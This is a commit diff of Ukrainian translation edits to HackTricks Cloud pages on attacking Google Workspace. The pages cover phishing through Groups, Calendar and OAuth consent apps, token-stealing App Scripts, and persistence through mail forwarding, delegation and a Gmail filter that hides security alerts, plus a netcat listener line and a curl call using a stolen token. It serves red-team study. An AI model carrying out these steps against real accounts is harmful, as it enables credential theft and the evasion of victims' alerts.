mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-16 14:52:43 -08:00
Translated ['.github/pull_request_template.md', 'src/README.md', 'src/pe
This commit is contained in:
@@ -26,7 +26,7 @@ gws-post-exploitation.md
|
||||
|
||||
### GWS <-->GCP Pivoting
|
||||
|
||||
Дізнайтеся більше про різні техніки півотування між GWS та GCP у:
|
||||
Дізнайтеся більше про різні техніки півотування між GWS і GCP у:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-security/gcp-to-workspace-pivoting/
|
||||
@@ -34,8 +34,8 @@ gws-post-exploitation.md
|
||||
|
||||
## GWS <--> GCPW | GCDS | Directory Sync (AD & EntraID)
|
||||
|
||||
- **GCPW (Google Credential Provider for Windows)**: Це єдиний вхід, який надає Google Workspaces, щоб користувачі могли входити в свої ПК з Windows, використовуючи **свої облікові дані Workspace**. Більше того, це **зберігатиме токени для доступу до Google Workspace** в деяких місцях на ПК.
|
||||
- **GCDS (Google CLoud DIrectory Sync)**: Це інструмент, який можна використовувати для **синхронізації ваших користувачів та груп активного каталогу з вашим Workspace**. Інструмент вимагає **облікових даних суперкористувача Workspace та привілейованого користувача AD**. Тому, можливо, його можна знайти всередині доменного сервера, який час від часу синхронізує користувачів.
|
||||
- **GCPW (Google Credential Provider for Windows)**: Це єдиний вхід, який надає Google Workspaces, щоб користувачі могли входити в свої ПК на Windows, використовуючи **свої облікові дані Workspace**. Більше того, це **зберігатиме токени для доступу до Google Workspace** в деяких місцях на ПК.
|
||||
- **GCDS (Google CLoud DIrectory Sync)**: Це інструмент, який можна використовувати для **синхронізації ваших користувачів і груп активного каталогу з вашим Workspace**. Інструмент вимагає **облікових даних суперкористувача Workspace та привілейованого користувача AD**. Тому, можливо, його можна знайти всередині доменного сервера, який час від часу синхронізує користувачів.
|
||||
- **Admin Directory Sync**: Дозволяє синхронізувати користувачів з AD та EntraID у безсерверному процесі з [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
|
||||
|
||||
{{#ref}}
|
||||
@@ -56,11 +56,11 @@ gws-persistence.md
|
||||
- Змінити пароль користувача
|
||||
- Згенерувати нові резервні коди 2FA
|
||||
- Видалити паролі додатків
|
||||
- Видалити OAuth додатки
|
||||
- Видалити додатки OAuth
|
||||
- Видалити пристрої 2FA
|
||||
- Видалити пересилання електронної пошти
|
||||
- Видалити фільтри електронної пошти
|
||||
- Видалити електронну пошту/телефони для відновлення
|
||||
- Видалити резервні електронні адреси/телефони
|
||||
- Видалити зловмисні синхронізовані смартфони
|
||||
- Видалити погані Android додатки
|
||||
- Видалити погані делегування облікового запису
|
||||
|
||||
@@ -12,7 +12,7 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodo
|
||||
|
||||
Очевидно, за замовчуванням, у workspace учасники [**можуть створювати групи**](https://groups.google.com/all-groups) **та запрошувати людей до них**. Ви можете змінити електронну пошту, яка буде надіслана користувачу, **додавши деякі посилання.** **Електронна пошта буде надіслана з адреси google**, тому вона виглядатиме **легітимно**, і люди можуть натиснути на посилання.
|
||||
|
||||
Також можливо встановити **FROM** адресу як **електронну пошту групи Google**, щоб надіслати **більше електронних листів користувачам всередині групи**, як на наступному зображенні, де група **`google--support@googlegroups.com`** була створена, і **електронний лист був надісланий всім учасникам** групи (які були додані без будь-якої згоди)
|
||||
Також можливо встановити адресу **FROM** як **електронну пошту Google групи**, щоб надіслати **більше електронних листів користувачам всередині групи**, як на наступному зображенні, де група **`google--support@googlegroups.com`** була створена, і **електронний лист був надісланий всім учасникам** групи (які були додані без будь-якої згоди)
|
||||
|
||||
<figure><img src="../../../images/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -25,7 +25,7 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodo
|
||||
> [!TIP]
|
||||
> **Однак у моєму тестуванні запрошені учасники навіть не отримали запрошення.**
|
||||
|
||||
Ви можете перевірити, як це працювало в минулому, за адресою: [https://www.youtube.com/watch?v=KTVHLolz6cE\&t=904s](https://www.youtube.com/watch?v=KTVHLolz6cE&t=904s)
|
||||
Ви можете перевірити, як це працювало в минулому за адресою: [https://www.youtube.com/watch?v=KTVHLolz6cE\&t=904s](https://www.youtube.com/watch?v=KTVHLolz6cE&t=904s)
|
||||
|
||||
## Google Doc Phishing
|
||||
|
||||
@@ -39,7 +39,7 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodo
|
||||
|
||||
## Google Calendar Phishing
|
||||
|
||||
Ви можете **створити подію в календарі** і додати стільки електронних адрес компанії, яку ви атакуєте, скільки у вас є. Заплануйте цю подію в календарі на **5 або 15 хвилин** від поточного часу. Зробіть подію виглядати легітимно і **додайте коментар та заголовок, вказуючи, що їм потрібно щось прочитати** (з **фішинговим посиланням**).
|
||||
Ви можете **створити подію в календарі** і додати стільки електронних адрес компанії, яку ви атакуєте, скільки у вас є. Заплануйте цю подію в календарі на **5 або 15 хвилин** від поточного часу. Зробіть подію виглядати легітимно і **додайте коментар і заголовок, вказуючи, що їм потрібно щось прочитати** (з **фішинговим посиланням**).
|
||||
|
||||
Це попередження, яке з'явиться в браузері з заголовком зустрічі "Звільнення людей", тому ви могли б встановити більш фішинговий заголовок (і навіть змінити ім'я, пов'язане з вашою електронною поштою).
|
||||
|
||||
@@ -48,7 +48,7 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodo
|
||||
Щоб це виглядало менш підозріло:
|
||||
|
||||
- Налаштуйте так, щоб **отримувачі не могли бачити інших запрошених людей**
|
||||
- **НЕ надсилайте електронні листи, що повідомляють про подію**. Тоді люди лише побачать своє попередження про зустріч через 5 хвилин і що їм потрібно прочитати це посилання.
|
||||
- **НЕ надсилайте електронні листи, що повідомляють про подію**. Тоді люди побачать лише своє попередження про зустріч через 5 хвилин і що їм потрібно прочитати це посилання.
|
||||
- Очевидно, використовуючи API, ви можете встановити **True**, що **люди** прийняли **подію** і навіть створити **коментарі від їхнього імені**.
|
||||
|
||||
## App Scripts Redirect Phishing
|
||||
@@ -71,7 +71,7 @@ return HtmlService.createHtmlOutput(
|
||||
|
||||
## App Scripts OAuth Phishing
|
||||
|
||||
Можливо створити App Scripts, прикріплені до документів, щоб спробувати отримати доступ до OAuth токена жертви, для отримання додаткової інформації перегляньте:
|
||||
Можливо створити App Scripts, прикріплені до документів, щоб спробувати отримати доступ до токена OAuth жертви, для отримання додаткової інформації перегляньте:
|
||||
|
||||
{{#ref}}
|
||||
gws-app-scripts.md
|
||||
@@ -82,41 +82,41 @@ gws-app-scripts.md
|
||||
Будь-яка з попередніх технік може бути використана, щоб змусити користувача отримати доступ до **Google OAuth application**, яка **запитуватиме** у користувача деякі **доступи**. Якщо користувач **довіряє** **джерелу**, він може **довіряти** **додатку** (навіть якщо він запитує високі привілейовані дозволи).
|
||||
|
||||
> [!NOTE]
|
||||
> Зверніть увагу, що Google показує непривабливе вікно з попередженням, що додаток ненадійний у кількох випадках, і адміністратори Workspace можуть навіть заборонити людям приймати OAuth додатки.
|
||||
> Зверніть увагу, що Google показує непривабливий запит, попереджаючи, що додаток ненадійний у кількох випадках, і адміністратори Workspace можуть навіть заборонити людям приймати OAuth додатки.
|
||||
|
||||
**Google** дозволяє створювати додатки, які можуть **взаємодіяти від імені користувачів** з кількома **сервісами Google**: Gmail, Drive, GCP...
|
||||
**Google** дозволяє створювати додатки, які можуть **взаємодіяти від імені користувачів** з кількома **Google services**: Gmail, Drive, GCP...
|
||||
|
||||
При створенні додатку, щоб **діяти від імені інших користувачів**, розробник повинен створити **OAuth app всередині GCP** і вказати області (дозволи), які додаток потребує для доступу до даних користувачів.\
|
||||
Коли **користувач** хоче **використати** цей **додаток**, йому буде **запропоновано** **прийняти**, що додаток матиме доступ до його даних, зазначених в областях.
|
||||
Коли створюється додаток, щоб **діяти від імені інших користувачів**, розробник повинен створити **OAuth app всередині GCP** і вказати області (дозволи), які додаток потребує для доступу до даних користувачів.\
|
||||
Коли **користувач** хоче **використати** цей **додаток**, йому буде **запропоновано** **прийняти**, що додаток матиме доступ до їхніх даних, зазначених в областях.
|
||||
|
||||
Це дуже привабливий спосіб **фішингу** нетехнічних користувачів для використання **додатків, які отримують доступ до чутливої інформації**, оскільки вони можуть не розуміти наслідків. Однак в облікових записах організацій є способи запобігти цьому.
|
||||
Це дуже привабливий спосіб **фішингу** нетехнічних користувачів, щоб змусити їх використовувати **додатки, які отримують доступ до чутливої інформації**, оскільки вони можуть не розуміти наслідків. Однак в облікових записах організацій є способи запобігти цьому.
|
||||
|
||||
### Unverified App prompt
|
||||
|
||||
Як було згадано, Google завжди буде показувати **вікно для користувача, щоб прийняти** дозволи, які вони надають додатку від їх імені. Однак, якщо додаток вважається **небезпечним**, Google спочатку покаже **вікно**, яке вказує, що це **небезпечний** додаток, і **ускладнить** користувачу надання дозволів додатку.
|
||||
Як було згадано, Google завжди буде показувати **запит користувачу на прийняття** дозволів, які вони надають додатку від свого імені. Однак, якщо додаток вважається **небезпечним**, Google спочатку покаже **запит**, вказуючи, що він **небезпечний** і **ускладнюючи** користувачу надання дозволів додатку.
|
||||
|
||||
Це вікно з'являється в додатках, які:
|
||||
Цей запит з'являється в додатках, які:
|
||||
|
||||
- Використовують будь-яку область, яка може отримати доступ до приватних даних (Gmail, Drive, GCP, BigQuery...)
|
||||
- Додатки з менш ніж 100 користувачами (додатки > 100 також потребують процесу перевірки, щоб зупинити показ неперевіреного вікна)
|
||||
- Додатки з менш ніж 100 користувачами (додатки > 100 також потребують процесу перевірки, щоб зупинити показ неперевіреного запиту)
|
||||
|
||||
### Interesting Scopes
|
||||
|
||||
[**Тут**](https://developers.google.com/identity/protocols/oauth2/scopes) ви можете знайти список усіх областей Google OAuth.
|
||||
|
||||
- **cloud-platform**: Перегляд та управління вашими даними в сервісах **Google Cloud Platform**. Ви можете видавати себе за користувача в GCP.
|
||||
- **admin.directory.user.readonly**: Перегляд та завантаження каталогу GSuite вашої організації. Отримайте імена, телефони, URL-адреси календарів усіх користувачів.
|
||||
- **cloud-platform**: Перегляд та управління вашими даними в службах **Google Cloud Platform**. Ви можете видавати себе за користувача в GCP.
|
||||
- **admin.directory.user.readonly**: Перегляд та завантаження каталогу GSuite вашої організації. Отримайте імена, телефони, URL-адреси календаря всіх користувачів.
|
||||
|
||||
### Create an OAuth App
|
||||
|
||||
**Почніть створення OAuth Client ID**
|
||||
**Почніть створювати OAuth Client ID**
|
||||
|
||||
1. Перейдіть до [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient) і натисніть на налаштування екрану згоди.
|
||||
2. Потім вам буде запропоновано, чи є **тип користувача** **внутрішнім** (тільки для людей у вашій організації) чи **зовнішнім**. Виберіть той, який відповідає вашим потребам
|
||||
- Внутрішній може бути цікавим, якщо ви вже скомпрометували користувача організації і створюєте цей додаток, щоб фішити іншого.
|
||||
3. Дайте **ім'я** додатку, **електронну пошту підтримки** (зверніть увагу, що ви можете вказати електронну пошту googlegroup, щоб спробувати трохи анонімізувати себе), **логотип**, **дозволені домени** та іншу **електронну пошту** для **оновлень**.
|
||||
4. **Виберіть** **OAuth області**.
|
||||
- Ця сторінка поділена на неделікатні дозволи, делікатні дозволи та обмежені дозволи. Кожного разу, коли ви додаєте новий дозвіл, він додається до своєї категорії. В залежності від запитуваних дозволів різні вікна з'являться для користувача, вказуючи, наскільки чутливими є ці дозволи.
|
||||
- Ця сторінка поділена на неделікатні дозволи, делікатні дозволи та обмежені дозволи. Щоразу, коли ви додаєте новий дозвіл, він додається до своєї категорії. В залежності від запитуваних дозволів різні запити з'являться користувачу, вказуючи, наскільки чутливими є ці дозволи.
|
||||
- Як **`admin.directory.user.readonly`**, так і **`cloud-platform`** є делікатними дозволами.
|
||||
5. **Додайте тестових користувачів.** Поки статус додатку є тестовим, лише ці користувачі зможуть отримати доступ до додатку, тому переконайтеся, що **додали електронну пошту, яку ви будете фішити**.
|
||||
|
||||
@@ -125,10 +125,10 @@ gws-app-scripts.md
|
||||
1. Поверніться до [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient), цього разу з'явиться інша опція.
|
||||
2. Виберіть **створити облікові дані для веб-додатку**
|
||||
3. Встановіть необхідні **Javascript origins** та **redirect URIs**
|
||||
- Ви можете вказати в обох щось на кшталт **`http://localhost:8000/callback`** для тестування
|
||||
- Ви можете вказати в обох щось на зразок **`http://localhost:8000/callback`** для тестування
|
||||
4. Отримайте свої облікові дані **додатку**
|
||||
|
||||
Нарешті, давайте **запустимо веб-додаток, який використовуватиме облікові дані OAuth додатку**. Ви можете знайти приклад на [https://github.com/carlospolop/gcp_oauth_phishing_example](https://github.com/carlospolop/gcp_oauth_phishing_example).
|
||||
Нарешті, давайте **запустимо веб-додаток, який використовуватиме облікові дані OAuth додатку**. Ви можете знайти приклад у [https://github.com/carlospolop/gcp_oauth_phishing_example](https://github.com/carlospolop/gcp_oauth_phishing_example).
|
||||
```bash
|
||||
git clone ttps://github.com/carlospolop/gcp_oauth_phishing_example
|
||||
cd gcp_oauth_phishing_example
|
||||
@@ -156,6 +156,6 @@ python3 app.py --client-id "<client_id>" --client-secret "<client_secret>"
|
||||
## Посилання
|
||||
|
||||
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Метью Брайант - Хакінг G Suite: Сила темної магії Apps Script
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Майк Фелч і Боу Буллок - ОК Google, як мені провести Red Team для GSuite?
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Майк Фелч і Боу Буллок - ОК Google, як мені провести Red Team GSuite?
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -5,7 +5,7 @@
|
||||
## App Scripts
|
||||
|
||||
App Scripts - це **код, який буде активовано, коли користувач з правами редактора отримує доступ до документа, з яким пов'язаний App Script** і після **прийняття запиту OAuth**.\
|
||||
Вони також можуть бути налаштовані на **виконання через певний проміжок часу** власником App Script (постійність).
|
||||
Вони також можуть бути налаштовані на **виконання через певний проміжок часу** власником App Script (Persistence).
|
||||
|
||||
### Створити App Script
|
||||
|
||||
@@ -15,7 +15,7 @@ App Scripts - це **код, який буде активовано, коли к
|
||||
|
||||
<summary>Створити проект, прив'язаний до контейнера, з Google Docs, Sheets або Slides</summary>
|
||||
|
||||
1. Відкрийте документ Docs, електронну таблицю Sheets або презентацію Slides.
|
||||
1. Відкрийте документ Docs, таблицю Sheets або презентацію Slides.
|
||||
2. Натисніть **Розширення** > **Google Apps Script**.
|
||||
3. У редакторі скриптів натисніть **Без назви проект**.
|
||||
4. Дайте вашому проекту назву та натисніть **Перейменувати**.
|
||||
@@ -59,7 +59,7 @@ App Scripts - це **код, який буде активовано, коли к
|
||||
|
||||
<summary>Створити окремий проект за допомогою інструменту командного рядка clasp</summary>
|
||||
|
||||
`clasp` - це інструмент командного рядка, який дозволяє створювати, витягувати/додавати та розгортати проекти Apps Script з терміналу.
|
||||
`clasp` - це інструмент командного рядка, який дозволяє вам створювати, завантажувати/вивантажувати та розгортати проекти Apps Script з терміналу.
|
||||
|
||||
Дивіться [Посібник по інтерфейсу командного рядка за допомогою `clasp`](https://developers.google.com/apps-script/guides/clasp) для отримання додаткової інформації.
|
||||
|
||||
@@ -77,7 +77,7 @@ App Scripts - це **код, який буде активовано, коли к
|
||||
|
||||
- **AdminDirectory**: Доступ до користувачів і груп каталогу (якщо у користувача достатньо прав)
|
||||
- **Gmail**: Для доступу до даних gmail
|
||||
- **Drive**: Для доступу до даних drive
|
||||
- **Drive**: Для доступу до даних диска
|
||||
- **Google Sheets API**: Щоб це працювало з тригером
|
||||
|
||||
Щоб змінити **необхідні області**, ви можете перейти до налаштувань проекту та увімкнути: **`Показати файл маніфесту "appsscript.json" в редакторі`.**
|
||||
@@ -147,21 +147,21 @@ nc -lv 4444 #macOS
|
||||
|
||||
### Створити тригер
|
||||
|
||||
Після того, як App буде прочитано, натисніть на **⏰ Тригери**, щоб створити тригер. Як **функцію** для виконання виберіть **`getToken`**, виконується на розгортанні **`Head`**, у джерелі події виберіть **`З таблиці`** та тип події виберіть **`При відкритті`** або **`При редагуванні`** (згідно з вашими потребами) і збережіть.
|
||||
Після того, як App буде прочитано, натисніть на **⏰ Тригери**, щоб створити тригер. Як **функцію** для виконання виберіть **`getToken`**, запускається при розгортанні **`Head`**, у джерелі події виберіть **`З таблиці`** та тип події виберіть **`При відкритті`** або **`При редагуванні`** (згідно з вашими потребами) і збережіть.
|
||||
|
||||
Зверніть увагу, що ви можете перевірити **виконання App Scripts на вкладці Виконання**, якщо хочете щось налагодити.
|
||||
Зверніть увагу, що ви можете перевірити **виконання App Scripts на вкладці Виконання**, якщо хочете відлагодити щось.
|
||||
|
||||
### Спільний доступ
|
||||
|
||||
Щоб **запустити** **App Script**, жертва повинна підключитися з **доступом редактора**.
|
||||
|
||||
> [!TIP]
|
||||
> **Токен**, використаний для виконання **App Script**, буде токеном **творця тригера**, навіть якщо файл відкритий як редактор іншими користувачами.
|
||||
> **Токен**, використаний для виконання **App Script**, буде токеном **творця тригера**, навіть якщо файл відкритий як Редактор іншими користувачами.
|
||||
|
||||
### Зловживання документами, поділеними зі мною
|
||||
### Зловживання документами, спільно надісланими мені
|
||||
|
||||
> [!CAUTION]
|
||||
> Якщо хтось **поділився з вами документом з App Scripts і тригером, використовуючи Head** App Script (не фіксоване розгортання), ви можете змінити код App Script (додавши, наприклад, функції для крадіжки токенів), отримати до нього доступ, і **App Script буде виконано з дозволами користувача, який поділився з вами документом**! (зверніть увагу, що токен OAuth власника матиме такі області доступу, які були надані під час створення тригера).
|
||||
> Якщо хтось **поділився з вами документом з App Scripts і тригером, використовуючи Head** App Script (не фіксоване розгортання), ви можете змінити код App Script (додавши, наприклад, функції для крадіжки токенів), отримати до нього доступ, і **App Script буде виконано з дозволами користувача, який поділився з вами документом**! (зверніть увагу, що OAuth токен власника матиме такі області доступу, які були надані під час створення тригера).
|
||||
>
|
||||
> **Сповіщення буде надіслано творцеві скрипта, вказуючи, що хтось змінив скрипт** (Що, якщо використовувати дозволи gmail для створення фільтра, щоб запобігти сповіщенню?)
|
||||
|
||||
@@ -183,7 +183,7 @@ nc -lv 4444 #macOS
|
||||
|
||||
<figure><img src="../../../images/image (337).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Після чого з'явиться **типове сповіщення OAuth, що запитує** необхідні дозволи.
|
||||
Після цього з'явиться **типове запит OAuth**, що запитує необхідні дозволи.
|
||||
|
||||
### Тестування
|
||||
|
||||
@@ -198,30 +198,30 @@ curl -H "Authorization: Bearer $OAUTH_TOKEN" \
|
||||
-H "Accept: application/json" \
|
||||
"https://www.googleapis.com/calendar/v3/users/me/calendarList"
|
||||
```
|
||||
## App Script як Постійність
|
||||
## App Script як постійний доступ
|
||||
|
||||
Одним з варіантів постійності було б **створити документ і додати тригер для функції getToken** та поділитися документом з атакуючим, щоб кожного разу, коли атакуючий відкриває файл, він **екстрагує токен жертви.**
|
||||
Один з варіантів постійного доступу - це **створити документ і додати тригер для функції getToken** та поділитися документом з атакуючим, щоб кожного разу, коли атакуючий відкриває файл, він **екстрагує токен жертви.**
|
||||
|
||||
Також можливо створити App Script і налаштувати його тригер на кожен X час (наприклад, кожну хвилину, годину, день...). Атакуючий, який **компрометував облікові дані або сесію жертви, може налаштувати тригер часу App Script і щодня витікати дуже привілейований OAuth токен**:
|
||||
|
||||
Просто створіть App Script, перейдіть до Тригерів, натисніть Додати тригер і виберіть як джерело події Часовий тригер і виберіть опції, які вам найбільше підходять:
|
||||
Просто створіть App Script, перейдіть до Тригерів, натисніть Додати тригер і виберіть як джерело події Часовий тригер, а також виберіть опції, які вам найбільше підходять:
|
||||
|
||||
<figure><img src="../../../images/image (336).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!CAUTION]
|
||||
> Це створить електронний лист про безпеку та push-повідомлення на ваш мобільний телефон, що сповіщає про це.
|
||||
> Це створить електронний лист про безпеку та push-повідомлення на вашому мобільному телефоні, що сповіщає про це.
|
||||
|
||||
### Обхід Неперевіреного Запиту Спільного Документа
|
||||
### Обхід неперевіреного запиту спільного документа
|
||||
|
||||
Більше того, якщо хтось **поділився** з вами документом з **доступом редактора**, ви можете створити **App Scripts всередині документа**, і **ВЛАСНИК (творець) документа буде власником App Script**.
|
||||
Більше того, якщо хтось **поділився** з вами документом з **доступом редактора**, ви можете створювати **App Scripts всередині документа**, а **ВЛАСНИК (творець) документа буде власником App Script**.
|
||||
|
||||
> [!WARNING]
|
||||
> Це означає, що **творець документа з'явиться як творець будь-якого App Script**, який будь-хто з доступом редактора створює всередині нього.
|
||||
> Це означає, що **творець документа з'явиться як творець будь-якого App Script**, який створить будь-хто з доступом редактора всередині нього.
|
||||
>
|
||||
> Це також означає, що **App Script буде довірятися середовищу Workspace** творця документа.
|
||||
> Це також означає, що **App Script буде довіреним середовищем Workspace** творця документа.
|
||||
|
||||
> [!CAUTION]
|
||||
> Це також означає, що якщо **App Script вже існував** і люди надали **доступ**, будь-хто з **дозволом редактора** на документ може **модифікувати його та зловживати цим доступом.**\
|
||||
> Щоб зловживати цим, вам також потрібно, щоб люди активували App Script. І один цікавий трюк - це **опублікувати скрипт як веб-додаток**. Коли **люди**, які вже надали **доступ** до App Script, отримують доступ до веб-сторінки, вони **активують App Script** (це також працює за допомогою тегів `<img>`).
|
||||
> Щоб зловживати цим, вам також потрібно, щоб люди активували App Script. І один з цікавих трюків - це **опублікувати скрипт як веб-додаток**. Коли **люди**, які вже надали **доступ** до App Script, отримують доступ до веб-сторінки, вони **активують App Script** (це також працює за допомогою тегів `<img>`).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -9,13 +9,13 @@
|
||||
|
||||
- Ви можете створити **фільтри для приховування** сповіщень про безпеку від Google
|
||||
- `from: (no-reply@accounts.google.com) "Security Alert"`
|
||||
- Це запобігатиме надходженню електронних листів про безпеку на електронну пошту (але не запобігатиме push-сповіщенням на мобільний)
|
||||
- Це запобігатиме надходженню електронних листів про безпеку на електронну пошту (але не запобігатиме push-сповіщенням на мобільний телефон)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Кроки для створення фільтра в gmail</summary>
|
||||
|
||||
(Інструкції [**тут**](https://support.google.com/mail/answer/6579))
|
||||
(Інструкції з [**тут**](https://support.google.com/mail/answer/6579))
|
||||
|
||||
1. Відкрийте [Gmail](https://mail.google.com/).
|
||||
2. У полі пошуку вгорі натисніть Показати параметри пошуку .
|
||||
@@ -32,16 +32,16 @@
|
||||
|
||||
- Створіть **адресу пересилання для пересилання чутливої інформації** (або всього) - Вам потрібен ручний доступ.
|
||||
- Створіть адресу пересилання на [https://mail.google.com/mail/u/2/#settings/fwdandpop](https://mail.google.com/mail/u/2/#settings/fwdandpop)
|
||||
- Отримувач повинен підтвердити це
|
||||
- Адреса отримувача повинна підтвердити це
|
||||
- Потім налаштуйте пересилання всіх електронних листів, зберігаючи копію (не забудьте натиснути зберегти зміни):
|
||||
|
||||
<figure><img src="../../images/image (332).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Також можливо створити фільтри та пересилати лише конкретні електронні листи на іншу електронну адресу.
|
||||
Також можливо створити фільтри та пересилати лише певні електронні листи на іншу електронну адресу.
|
||||
|
||||
## Паролі додатків
|
||||
|
||||
Якщо вам вдалося **зламати сесію користувача google** і у користувача була **2FA**, ви можете **згенерувати** [**пароль додатка**](https://support.google.com/accounts/answer/185833?hl=en) (перейдіть за посиланням, щоб побачити кроки). Зверніть увагу, що **Паролі додатків більше не рекомендуються Google і відкликаються**, коли користувач **змінює пароль свого облікового запису Google.**
|
||||
Якщо вам вдалося **зламати сесію користувача Google** і у користувача була **2FA**, ви можете **згенерувати** [**пароль додатка**](https://support.google.com/accounts/answer/185833?hl=en) (перейдіть за посиланням, щоб побачити кроки). Зверніть увагу, що **Паролі додатків більше не рекомендуються Google і скасовуються**, коли користувач **змінює пароль свого облікового запису Google.**
|
||||
|
||||
**Навіть якщо у вас відкрита сесія, вам потрібно знати пароль користувача, щоб створити пароль додатка.**
|
||||
|
||||
@@ -63,7 +63,7 @@
|
||||
## Постійність через OAuth Apps
|
||||
|
||||
Якщо ви **зламали обліковий запис користувача**, ви можете просто **прийняти** надати всі можливі дозволи **OAuth App**. Єдина проблема в тому, що Workspace може бути налаштований на **заборону не перевірених зовнішніх та/або внутрішніх OAuth додатків.**\
|
||||
Досить поширено, що організації Workspace за замовчуванням не довіряють зовнішнім OAuth додаткам, але довіряють внутрішнім, тому якщо у вас є **достатні дозволи для створення нового OAuth додатку** всередині організації, а зовнішні додатки заборонені, створіть його та **використовуйте цей новий внутрішній OAuth додаток для підтримки постійності**.
|
||||
Досить поширено, що організації Workspace за замовчуванням не довіряють зовнішнім OAuth додаткам, але довіряють внутрішнім, тому, якщо у вас є **достатні дозволи для створення нового OAuth додатку** всередині організації, а зовнішні додатки заборонені, створіть його та **використовуйте цей новий внутрішній OAuth додаток для підтримки постійності**.
|
||||
|
||||
Перевірте наступну сторінку для отримання додаткової інформації про OAuth Apps:
|
||||
|
||||
@@ -73,7 +73,7 @@ gws-google-platforms-phishing/
|
||||
|
||||
## Постійність через делегування
|
||||
|
||||
Ви можете просто **делегувати обліковий запис** на інший обліковий запис, контрольований зловмисником (якщо вам дозволено це робити). У Workspace **Організаціях** ця опція повинна бути **увімкнена**. Вона може бути вимкнена для всіх, увімкнена для деяких користувачів/груп або для всіх (зазвичай вона увімкнена лише для деяких користувачів/груп або повністю вимкнена).
|
||||
Ви можете просто **делегувати обліковий запис** на інший обліковий запис, контрольований зловмисником (якщо вам дозволено це зробити). У Workspace **Організаціях** ця опція повинна бути **увімкнена**. Вона може бути вимкнена для всіх, увімкнена для деяких користувачів/груп або для всіх (зазвичай вона увімкнена лише для деяких користувачів/груп або повністю вимкнена).
|
||||
|
||||
<details>
|
||||
|
||||
@@ -86,14 +86,14 @@ gws-google-platforms-phishing/
|
||||
- Додати адміністративного асистента як делегата на свій обліковий запис Gmail, щоб вони могли читати та надсилати електронні листи від вашого імені.
|
||||
- Додати групу, таку як ваш відділ продажів, у Групи як делегата, щоб надати всім доступ до одного облікового запису Gmail.
|
||||
|
||||
Користувачі можуть делегувати доступ лише іншому користувачеві в тій же організації, незалежно від їх домену або організаційної одиниці.
|
||||
Користувачі можуть делегувати доступ лише іншому користувачу в тій же організації, незалежно від їх домену чи організаційної одиниці.
|
||||
|
||||
#### Обмеження та обмеження делегування
|
||||
|
||||
- **Дозволити користувачам надавати доступ до своєї поштової скриньки Google групі**: Щоб використовувати цю опцію, вона повинна бути увімкнена для ОУ делегованого облікового запису та для кожного члена групи ОУ. Члени групи, які належать до ОУ без увімкненої цієї опції, не можуть отримати доступ до делегованого облікового запису.
|
||||
- При звичайному використанні 40 делегованих користувачів можуть отримати доступ до облікового запису Gmail одночасно. Надмірне використання одним або кількома делегатами може зменшити цю кількість.
|
||||
- При звичайному використанні 40 делегованих користувачів можуть отримати доступ до облікового запису Gmail одночасно. Вище середнього використання одним або кількома делегатами може зменшити цю кількість.
|
||||
- Автоматизовані процеси, які часто отримують доступ до Gmail, також можуть зменшити кількість делегатів, які можуть отримати доступ до облікового запису одночасно. Ці процеси включають API або розширення браузера, які часто отримують доступ до Gmail.
|
||||
- Один обліковий запис Gmail підтримує до 1,000 унікальних делегатів. Група в Групах зараховується як один делегат до ліміту.
|
||||
- Один обліковий запис Gmail підтримує до 1,000 унікальних делегатів. Група в Групах вважається одним делегатом у межах ліміту.
|
||||
- Делегування не збільшує ліміти для облікового запису Gmail. Облікові записи Gmail з делегованими користувачами мають стандартні ліміти та політики облікового запису Gmail. Для отримання додаткової інформації відвідайте [Ліміти та політики Gmail](https://support.google.com/a/topic/28609).
|
||||
|
||||
#### Крок 1: Увімкніть делегування Gmail для своїх користувачів
|
||||
@@ -107,11 +107,11 @@ gws-google-platforms-phishing/
|
||||
2. У консолі адміністратора перейдіть до Меню  **Додатки****Google Workspace****Gmail****Налаштування користувача**.
|
||||
3. Щоб застосувати налаштування для всіх, залиште вибраною верхню організаційну одиницю. В іншому випадку виберіть дочірню [організаційну одиницю](https://support.google.com/a/topic/1227584).
|
||||
4. Натисніть **Делегування пошти**.
|
||||
5. Поставте галочку в полі **Дозволити користувачам делегувати доступ до своєї поштової скриньки іншим користувачам у домені**.
|
||||
5. Поставте галочку в полі **Дозволити користувачам делегувати доступ до своїх поштових скриньок іншим користувачам у домені**.
|
||||
6. (Необов'язково) Щоб дозволити користувачам вказати, яка інформація про відправника включена в делеговані повідомлення, поставте галочку в полі **Дозволити користувачам налаштувати це налаштування**.
|
||||
7. Виберіть опцію для інформації про відправника за замовчуванням, яка включена в повідомлення, надіслані делегатами:
|
||||
- **Показати власника облікового запису та делегата, який надіслав електронний лист**—Повідомлення включають адреси електронної пошти власника облікового запису Gmail та делегата.
|
||||
- **Показати лише власника облікового запису**—Повідомлення включають адресу електронної пошти лише власника облікового запису Gmail. Адреса електронної пошти делегата не включена.
|
||||
- **Показати власника облікового запису та делегата, який надіслав електронний лист**—Повідомлення містять адреси електронної пошти власника облікового запису Gmail та делегата.
|
||||
- **Показати лише власника облікового запису**—Повідомлення містять адресу електронної пошти лише власника облікового запису Gmail. Адреса електронної пошти делегата не включена.
|
||||
